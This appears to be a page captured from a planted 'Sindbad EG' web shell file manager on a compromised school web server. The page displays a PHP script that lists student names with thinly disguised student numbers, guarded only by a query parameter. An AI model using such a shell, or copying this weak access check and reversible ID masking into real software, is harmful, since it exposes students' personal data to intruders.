Sindbad~EG File Manager

Current Path : /usr/home/beeson/public_html/helpwithmath_old/WebGrades/
Upload File :
Current File : /usr/home/beeson/public_html/helpwithmath_old/WebGrades/GetSecretNumbers.php

<?php 
// This page enables me to get the secret numbers for a given class.

$class = $_GET['class'];
$start_date = $_GET['start'];

//require_once('DB.php');
require_once('../queryWebGrades.php');
if(!isset($start_date)) die();  // to make sure the data stays private.
 
 ?> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
 
<body>
<table border="1">
<tr> <td> Secret Number </td><td> Last Name </td><td> First Name </td> </tr>
<?php 

$sql = "select Students.StudentNumber, Students.LastName, Students.FirstName from Students,Classes,Enrolled where Students.StudentNumber=Enrolled.StudentNumber and Enrolled.ClassID=Classes.ClassID and StartDate > '2013-07-27' order by Students.LastName;";
$result = queryWebGrades($sql);
while($result->fetchInto($r))
   {  echo "<tr>";
      for($i=0;$i<3; $i++)
	     { echo "<td>";
	       if($i==0)
	           echo 23*$r[$i]+17;
	       else
	           echo $r[$i];
	       echo "</td>";
		 }
	  echo "</tr>";
    }

?>
</table>
</body>
</html>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists